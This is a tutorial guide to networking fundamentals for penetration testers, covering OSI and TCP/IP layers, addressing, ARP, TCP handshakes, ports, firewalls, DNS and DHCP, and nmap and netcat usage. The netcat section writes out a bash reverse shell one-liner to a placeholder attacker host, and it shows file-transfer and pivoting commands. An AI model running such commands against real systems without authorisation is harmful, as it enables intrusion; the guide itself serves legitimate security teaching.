

Introduction: The Necessity of Networking Knowledge

Every penetration tester must understand networking fundamentals. This is not optional—it is foundational. Just as a carpenter cannot build without understanding the properties of wood, a penetration tester cannot effectively assess security without understanding how networks function. Networks are the battlefield where digital security is tested. Without this knowledge, you operate blind, unaware of the systems you're probing and vulnerable to misinterpreting results. This guide presents the essential networking concepts every pen tester must know, organized logically and built upon themselves to create a cohesive understanding.

Part 1: Networking Layers and Models

The OSI Model: A Framework for Understanding

The Open Systems Interconnection (OSI) model divides network communication into seven layers, each with specific responsibilities. Understanding this model is critical for penetration testing because it provides a systematic framework for troubleshooting and understanding how systems communicate.

Layer 1: Physical Layer — Raw transmission media (cables, fiber, wireless signals). This is where physical security begins.

Layer 2: Data Link Layer — Frames and MAC addresses. Local network delivery. This is where switches operate.

Layer 3: Network Layer — IP addresses and routing. Getting packets between networks.

Layer 4: Transport Layer — TCP and UDP protocols. Reliability and delivery mechanisms.

Layer 5: Session Layer — Connection establishment and management.

Layer 6: Presentation Layer — Data formatting and encryption.

Layer 7: Application Layer — User-facing protocols like HTTP, FTP, SSH, DNS.

As a penetration tester, you must understand how each layer operates because vulnerabilities exist at every level. A poorly configured firewall (Layer 3-4) can be bypassed. Unencrypted data at Layer 6 can be intercepted. Weak authentication at Layer 7 can be exploited.

The TCP/IP Model: The Practical Reality

The TCP/IP model is simpler than the OSI model and directly reflects how the internet actually functions. It collapses layers into four levels:

Link Layer — Combines OSI Layers 1-2 (Ethernet, MAC addresses)

Internet Layer — OSI Layer 3 (IP addressing, routing)

Transport Layer — OSI Layer 4 (TCP, UDP)

Application Layer — OSI Layers 5-7 (HTTP, SSH, DNS, FTP, and all user services)

For pen testing purposes, the TCP/IP model is often more practical. When you use tools like nmap or netcat, you're working within this framework. The key insight: understanding both models makes you more effective. Use the OSI model for detailed troubleshooting and analysis. Use the TCP/IP model for practical exploitation and enumeration.

Part 2: Internet Protocol (IP) and Addressing

IP Addresses: The Network Identifier

Every device on a network requires a unique IP address to communicate. IP addresses exist in two versions: IPv4 (older, still dominant) and IPv6 (newer). This guide focuses on IPv4, the version you'll encounter in most pen testing engagements.

An IPv4 address consists of four octets (eight-bit numbers) separated by periods. Example: **192.168.1.105**

Each octet ranges from 0 to 255. Each device on a network must have a unique address within that network.

Subnetting and CIDR Notation

Networks are divided into smaller segments called subnets. Subnetting allows efficient organization and security segmentation. When you scan a network, you're typically scanning a range of addresses within a subnet.

CIDR Notation (Classless Inter-Domain Routing) expresses subnets compactly. Format: **IP_Address/Number**

The number represents how many bits are dedicated to the network portion. The remaining bits are available for individual hosts.

Example: 192.168.1.0/24

- The /24 means 24 bits identify the network, 8 bits identify the host
- This creates a range from 192.168.1.0 to 192.168.1.255
- Usable host addresses: 192.168.1.1 through 192.168.1.254
- 192.168.1.0 is the network address (not assigned to a host)
- 192.168.1.255 is the broadcast address (reaches all hosts in the subnet)

Common CIDR Ranges:

- /32: Single host

- /24: 256 total addresses (254 usable)
- /16: 65,536 total addresses
- /8: 16,777,216 total addresses

When planning a pen test, CIDR notation helps you understand scope. If you're targeting 192.168.10.0/24, you know you're responsible for 254 potential hosts.

Understanding Network vs. Host

In a network, the first address is the network address and the last is the broadcast address. Only addresses between these are usable for individual devices.

For 192.168.1.0/24:

- 192.168.1.0 = Network address
- 192.168.1.1 through 192.168.1.254 = Usable host addresses
- 192.168.1.255 = Broadcast address

Part 3: MAC Addresses and Local Communication

MAC Addresses: Hardware Identification

While IP addresses handle routing across networks, MAC (Media Access Control) addresses handle local delivery. A MAC address is a 48-bit identifier unique to a network interface card (NIC). Format: **00:1A:2B:3C:4D:5E**

Every frame transmitted on a local network segment includes MAC addresses. Switches use MAC addresses to forward frames to the correct physical port.

ARP: Bridging IP and MAC

The Address Resolution Protocol (ARP) solves a fundamental problem: I know the IP address of the device I want to reach, but I need its MAC address to send a frame on the local network.

ARP Process:

1. Device A wants to reach 192.168.1.10 but doesn't have its MAC address
2. Device A broadcasts an ARP request: "Who has 192.168.1.10? Tell 192.168.1.5 (my address)"
3. Device with 192.168.1.10 responds with its MAC address
4. Device A now has the MAC address and can send the frame

As a pen tester, ARP is relevant because:

- ARP spoofing allows man-in-the-middle attacks
- ARP responses reveal active hosts on a network
- Tools like arp-scan identify devices without port scanning

Part 4: Transport Layer Protocols

TCP: Reliable, Connection-Oriented Communication

TCP (Transmission Control Protocol) ensures reliable delivery of data. It establishes a connection before transmission and verifies all data arrives intact and in order.

The TCP 3-Way Handshake: The Foundation of Connection

Understanding this is critical because scanning tools exploit the behavior of the handshake to determine port states.

Step 1 - SYN (Synchronize): Client sends a packet with the SYN flag set to the server. This says "I want to establish a connection, and here's my starting sequence number."

Step 2 - SYN-ACK (Synchronize-Acknowledge): Server receives the SYN and responds with SYN-ACK. This says "I received your request, here's my starting sequence number, and I acknowledge yours."

Step 3 - ACK (Acknowledge): Client receives SYN-ACK and sends an ACK back. This completes the handshake. Connection is established.

After this, data flows reliably between client and server.

Implications for Pen Testing:

- **Open Port:** If a port is open and listening, the server completes the handshake
- **Closed Port:** If a port is closed, the server sends RST (reset), rejecting the connection
- **Filtered Port:** If a firewall blocks the port, no response occurs or ICMP errors are returned

This is why port scanning works. By observing how targets respond to SYN packets, you determine port states without establishing full connections.

UDP: Fast, Connectionless Communication

UDP (User Datagram Protocol) prioritizes speed over reliability. No connection is established. Data is sent in independent datagrams with no guarantee of delivery or order.

UDP Characteristics:

- No handshake—packets sent immediately
- Faster than TCP but unreliable
- Used by DNS, NTP, SNMP, and other services requiring speed

For Pen Testing:

UDP services are often overlooked because scanning them is slower and less reliable than TCP scanning. However, they often run with weak security. DNS servers, SNMP services, and NTP can leak sensitive information or allow unauthorized queries.

Part 5: Ports and Services

Port Numbers: Service Identifiers

Ports allow multiple services to run on a single device. A port is a logical endpoint identified by a number (0-65535). When a service listens on a port, it waits for incoming connections on that port.

Port Ranges:

- **0-1023:** Well-known ports (reserved for standard services)
- **1024-49151:** Registered ports (can be used by applications)
- **49152-65535:** Dynamic/private ports (temporary assignment)

Critical Ports for Pen Testing

Understanding these ports helps you prioritize scanning and exploitation:

Port	Protocol	Service	Security Relevance
22	TCP	SSH	Remote administration; brute force targets
23	TCP	Telnet	Deprecated; transmits credentials in plaintext
25	TCP	SMTP	Email relay; spam/phishing vectors
53	TCP/UDP	DNS	Information disclosure; zone transfer attacks
80	TCP	HTTP	Web applications; unencrypted
139	TCP	NetBIOS	Windows file sharing; legacy vulnerabilities
443	TCP	HTTPS	Encrypted web traffic; SSL/TLS vulnerabilities
445	TCP	SMB	Windows file/printer sharing; ransomware vector
3306	TCP	MySQL	Databases; often misconfigured
3389	TCP	RDP	Remote Desktop; brute force target
5900	TCP	VNC	Remote desktop; weak authentication

These are the ports to scan first. Many vulnerabilities hide behind them.

Part 6: Firewalls and Packet Filtering

Stateless Firewalls

Stateless firewalls examine individual packets in isolation. They check:

- Source and destination IP addresses
- Port numbers
- TCP/UDP flags

Decision: Allow, deny, or reset based on rules. No memory of previous packets.

Limitations: Vulnerable to IP spoofing, unable to detect protocol-level attacks, easy to bypass with crafted packets.

Stateful Firewalls

Stateful firewalls track the state of connections. They maintain a table of active connections and remember:

- Source and destination IPs and ports
- TCP sequence numbers and flags
- Connection state (establishing, established, closing)

When a packet arrives, the firewall checks: Is this packet part of an established connection? If yes, allow it. If no, evaluate against rules.

Advantages: Detects suspicious patterns (e.g., SYN flood attacks), prevents IP spoofing, more intelligent filtering.

For Pen Testing:

Understanding firewall types helps you bypass them. Stateless firewalls can be bypassed with fragmented packets or spoofed ACKs. Stateful firewalls require you to complete valid handshakes or use evasion techniques.

Part 7: Encryption and Secure Communication

SSL/TLS: Transport Security

SSL (Secure Sockets Layer) and its successor TLS (Transport Layer Security) encrypt data transmitted between clients and servers. They operate at the transport layer, protecting any application protocol running atop them.

Key Concepts:

- **HTTPS** = HTTP + TLS. Encrypted web traffic.
- **Port 443** is the standard for HTTPS
- **Asymmetric encryption** establishes secure connection (using public/private key pairs)
- **Symmetric encryption** encrypts actual data (faster, uses shared secret key)

For Pen Testing:

TLS doesn't prevent you from testing a web application—it encrypts the channel but testing tools can decrypt it locally. However, certificate pinning and advanced TLS configurations can complicate testing. Understanding TLS also helps identify weak ciphers or outdated protocol versions (e.g., SSLv3, TLS 1.0) that are exploitable.

Part 8: DNS and Name Resolution

DNS: Translating Names to Addresses

DNS (Domain Name System) translates human-readable domain names (example.com) into IP addresses. This happens constantly and is often overlooked in security discussions, but DNS is a critical vector for reconnaissance and attack.

DNS Process:

1. Client queries local DNS resolver for example.com
2. Resolver queries root nameserver
3. Root responds with TLD nameserver address
4. Resolver queries TLD nameserver
5. TLD responds with authoritative nameserver address
6. Resolver queries authoritative nameserver
7. Authoritative nameserver returns IP address
8. IP is returned to client

For Pen Testing:

DNS enumeration reveals infrastructure:

- **Zone transfers** may leak all DNS records if misconfigured
 - **Subdomain brute-forcing** discovers hidden infrastructure
 - **Reverse DNS lookups** identify IP ownership
 - **DNS spoofing** redirects traffic to attacker-controlled servers
-

Part 9: DHCP and Dynamic Addressing

DHCP: Automatic IP Configuration

DHCP (Dynamic Host Configuration Protocol) automatically assigns IP addresses and other network configuration to devices.

DHCP Process:

1. Client sends DHCP Discover broadcast (looking for DHCP server)
2. DHCP server responds with DHCP Offer (available IP and configuration)
3. Client sends DHCP Request (accepting the offer)
4. DHCP server sends DHCP Ack (confirming assignment)

For Pen Testing:

DHCP can be leveraged for attacks:

- **Rogue DHCP servers** can redirect traffic
- **DHCP starvation** exhausts available addresses
- DHCP servers often have weak credentials or default configurations

Part 10: Network Reconnaissance

Active vs. Passive Reconnaissance

Passive Reconnaissance: Gathering information without directly engaging the target. Uses public sources (WHOIS, DNS records, social media). Stealthy but limited.

Active Reconnaissance: Directly probing the target (port scans, traceroute, service enumeration). Generates network traffic and logs but provides detailed information.

Both are necessary. Passive reconnaissance identifies what to target. Active reconnaissance confirms what you found and identifies vulnerabilities.

Host Discovery

Before scanning for vulnerabilities, identify which hosts are alive on the network.

Ping: ICMP Echo Request. If the host responds, it's alive. Many firewalls block ping, so a non-response doesn't mean the host is down.

ARP Scan: Send ARP requests on the local network. Reliable on LANs because ARP is fundamental to local communication.

TCP Probes: Send SYN packets to commonly open ports (80, 443, 22). If response received, host is alive.

Part 11: Packet Structure and Encapsulation

Understanding the Packet

Data travels through networks encapsulated in packets. Each layer adds a header, creating a nested structure.

Encapsulation Example:

```
Ethernet Frame:
├─ Ethernet Header (14 bytes)
├─ IP Header (20 bytes)
├─ TCP Header (20 bytes)
├─ Application Data (variable)
└─ Ethernet Trailer/CRC (4 bytes)
```

Ethernet Frame Fields:

- Destination MAC: Where locally
- Source MAC: From whom locally
- EtherType: What protocol inside (0x0800 = IPv4)
- Payload: The packet contents
- FCS: Error checking

IP Header Fields:

- Source IP: Where from
- Destination IP: Where to
- TTL (Time To Live): Prevents infinite routing loops
- Protocol: What protocol inside (6 = TCP, 17 = UDP, 1 = ICMP)

TCP Header Fields:

- Source Port: What port sending from
- Destination Port: What port sending to
- Sequence Number: For ordering and reliability
- Acknowledgment Number: Confirms received data
- Flags: SYN, ACK, FIN, RST, etc.
- Window Size: Flow control

Understanding this structure helps you interpret packet captures and understand how network communication works.

Part 12: Introduction to Nmap

What is Nmap?

Nmap (Network Mapper) is the industry-standard tool for network reconnaissance and vulnerability scanning. It sends crafted packets to targets and analyzes

responses to determine what services are running, what operating systems are present, and what vulnerabilities may exist.

Basic Nmap Syntax

```
nmap [Scan Type] [Options] {Target}
```

Example: `nmap -sS -p 1-1000 192.168.1.0/24`

- `-sS` : TCP SYN scan
- `-p 1-1000` : Scan ports 1 through 1000
- `192.168.1.0/24` : Target the entire subnet

Common Nmap Scan Types

Understanding scan types reveals the concept behind port scanning.

TCP Connect Scan (-sT)

Completes the full 3-way handshake on each port. Reliable but slow and leaves logs.

```
nmap -sT 192.168.1.100
```

Process: SYN → SYN-ACK → ACK → Connection established

Result: If port is open, connection succeeds. If closed, RST received.

TCP SYN Scan (-sS)

Sends SYN, receives SYN-ACK, but never completes the handshake (doesn't send ACK). Faster than TCP Connect and less obvious, often called "half-open" scanning.

```
nmap -sS 192.168.1.100
```

Process: SYN → SYN-ACK received → RST sent (connection never established)

Result: Open port responds with SYN-ACK. Closed port responds with RST.

UDP Scan (-sU)

Sends UDP packets to ports. Unreliable because UDP has no handshake and many systems rate-limit ICMP Port Unreachable responses. But necessary for discovering UDP services.

```
nmap -sU 192.168.1.100
```

Process: UDP packet sent → ICMP Port Unreachable (if closed) or silence (if open)

Result: Open ports don't respond. Closed ports return ICMP errors. Filtered ports return ICMP errors or silence.

Ping Scan (-sn)

Determines which hosts are alive without scanning ports. Uses ICMP and ARP.

```
nmap -sn 192.168.1.0/24
```

Useful for mapping networks before detailed scanning.

Port States: What Nmap Tells You

Open: Service is listening and accepting connections. Actively vulnerable to attack.

Closed: Port is accessible but no service listens on it. Not currently vulnerable but indicates the host exists.

Filtered: Firewall or packet filter prevents Nmap from reaching the port. Can't determine if service is running. Requires firewall bypass or evasion.

Unfiltered: Port is accessible and Nmap can reach it, but can't determine if open or closed. Only occurs with ACK scan (firewall ruleset mapping).

Open|Filtered: Nmap can't determine state. Port doesn't respond (characteristic of open ports in some scans) but could be filtered. Occurs in UDP, FIN, NULL, and XMAS scans.

Closed|Filtered: Nmap can't determine state. Rare.

Service Detection (-sV)

Nmap can probe open ports to determine what service and version is running.

```
nmap -sV 192.168.1.100
```

Sends service-specific probes to open ports and analyzes responses. Identifies versions, which helps find exploitable vulnerabilities.

OS Detection (-O)

Analyzes responses to determine operating system.

```
nmap -O 192.168.1.100
```

Sends various probe packets and compares responses to a database of known OS signatures.

Aggressive Scanning (-A)

Combines service detection, OS detection, script scanning, and traceroute. Fast but more obvious.

```
nmap -A 192.168.1.100
```

Practical Nmap Workflow

Step 1: Host Discovery

```
nmap -sn 192.168.1.0/24
```

Identify live hosts.

Step 2: Port Discovery

```
nmap -sS 192.168.1.100
```

Identify open ports on target.

Step 3: Service Detection

```
nmap -sV -p 22,80,443 192.168.1.100
```

Identify services and versions on interesting ports.

Step 4: OS Detection

```
nmap -O 192.168.1.100
```

Determine operating system for exploit selection.

Part 13: Introduction to Netcat

What is Netcat?

Netcat is a simple but powerful networking utility often called the "Swiss Army knife" of penetration testing. It reads and writes data across TCP or UDP network connections.

Basic Netcat Concepts

Listening Mode: Netcat waits for incoming connections.

```
nc -lvp 1234
```

- -l : Listen mode
- -v : Verbose (show connection info)
- -p : Port to listen on

Connection Mode: Netcat initiates a connection to a remote host.

```
nc 192.168.1.100 1234
```

Once connected, anything you type is sent to the remote host.

Netcat Use Cases for Pen Testing

Port Scanning

While not as powerful as Nmap, Netcat can scan ports:

```
nc -zv 192.168.1.100 1-1000
```

- `-z` : Scan mode (don't send data)
- `-v` : Verbose
- `1-1000` : Ports to scan

Returns which ports are listening.

Banner Grabbing

Connect to a service and see what it reveals:

```
nc 192.168.1.100 22
```

Remote SSH server typically responds with version information:

```
SSH-2.0-OpenSSH_7.4
```

This reveals the SSH version, useful for identifying exploitable versions.

Reverse Shells

Create a shell on a remote system that connects back to your machine:

On attacker machine (listener):

```
nc -lvp 4444
```

On target machine (executes):

```
bash -i >& /dev/tcp/attacker_ip/4444 0>&1
```

Target's shell output is sent to attacker's listening netcat.

File Transfer

Send a file from one system to another:

Receiver:

```
nc -lvp 1234 > file_received.txt
```

Sender:

```
cat file_to_send.txt | nc receiver_ip 1234
```

Simple Port Forwarding

Forward traffic from one port to another:

```
nc -l -p 8888 | nc target_host 80
```

Part 14: How It All Transfers to Tools

The Network Stack in Practice

When you use nmap or netcat, you're leveraging everything covered in this guide:

Nmap's SYN Scan:

1. Constructs Ethernet frames (Layer 2) with target MAC
2. Wraps in IP packet (Layer 3) with target IP
3. Creates TCP segment (Layer 4) with SYN flag set
4. Waits for response
5. Analyzes responses: SYN-ACK = open, RST = closed, nothing = filtered

Understanding the OSI model explains why this works.

Netcat's Banner Grab:

1. Resolves target hostname via DNS (Layer 7)
2. Establishes TCP connection (Layer 4) using SYN-ACK handshake
3. Sends empty data to trigger service response
4. Reads and displays response

Understanding TCP's handshake explains why this works.

Firewall Evasion: If a firewall uses stateless filtering, you can craft ACK packets that bypass it because the firewall sees them as part of established connections (no handshake memory).

If stateful, you must complete valid handshakes, making evasion harder.

Understanding firewall concepts explains why evasion works or doesn't.

Common Network Pentest Scenarios

Scenario 1: Discovering Active Hosts

Use what you know about DHCP, ARP, and ICMP:

```
nmap -sn 192.168.1.0/24
```

Nmap sends ARP requests on LAN (local) and ICMP/TCP probes (remote). Combines responses to determine active hosts.

Scenario 2: Identifying Services

Use port knowledge and banner grabbing:

```
nmap -sV -p 1-65535 192.168.1.100
```

Nmap scans all ports (understanding port numbering), then probes services (Layer 4-7). Identifies versions by recognizing service responses.

Scenario 3: Finding Vulnerable Services

Port scanning reveals services. Service detection reveals versions. Version research (external research) reveals CVEs. This chain of reconnaissance flows from networking fundamentals.

Scenario 4: Lateral Movement

Once compromised a host, you map its network view:

```
netstat -an # Local connections
arp -a      # Neighboring hosts
route print # Network topology
```

Then scan from that compromised host into other networks (pivoting). Understanding subnetting helps you recognize which networks are "adjacent" and exploitable.

Part 15: Key Takeaways and Building Your Foundation

The Core Principles

1. **Networks are hierarchical.** Understanding layers (OSI/TCP-IP) organizes complex systems into understandable components.
2. **IP and MAC work together.** IP routes between networks. MAC delivers locally. Both are necessary.
3. **Ports are service endpoints.** Services listen on specific ports. Finding open ports finds potential attack surface.
4. **Handshakes reveal state.** Observing TCP handshake responses determines port state. This is the foundation of port scanning.
5. **Encryption protects data, not networks.** TLS secures data in transit but doesn't prevent testing. Understanding TLS helps identify weaknesses.
6. **Firewalls control flow.** Understanding stateful vs. stateless filtering reveals evasion vectors.
7. **Tools automate principles.** Nmap and netcat aren't magical. They're implementations of networking principles you now understand.

What to Practice

- Build a home lab with virtual machines
- Run nmap scans. Examine the traffic with Wireshark. Understand what packets are being sent and why targets respond as they do
- Practice netcat: banner grabbing, port scanning, reverse shells. Understand each step
- Study packet captures. Download pcap files and analyze them in Wireshark. See real networking in action
- Read RFC documents. Start with RFC 793 (TCP) and RFC 791 (IP). These are the specifications. Reading them builds deep understanding

The Stoic Perspective

As a penetration tester, you face uncertainty. Networks are complex. Vulnerabilities hide in shadows. The stoic approach: focus on what you control.

You cannot control what vulnerabilities exist. You can control whether you understand how networks work. You cannot control whether a target has weak security. You can control whether you know how to discover it.

Study the fundamentals relentlessly. When complexity arises, return to fundamentals. The OSI model. The TCP handshake. Ports and services. These principles never change. Build mastery here, and the specifics of individual tools and techniques become applications of that mastery, not mysteries to memorize.

Conclusion

Networking is not an obstacle to penetration testing. It is the foundation. Every vulnerability exists within a network context. Understanding that context—how packets flow, how services communicate, how firewalls filter, how tools manipulate network behavior—transforms you from someone running tools to someone truly penetration testing.

This guide has provided the essential concepts. The next step is application. Build labs. Run tools. Capture packets. Analyze responses. Let theory become intuition through deliberate practice.

The network awaits your understanding.

tip: click on the pencil icon on the left to clear the editor)

GitHub flavoured styling by default

We now use GitHub flavoured styling by default.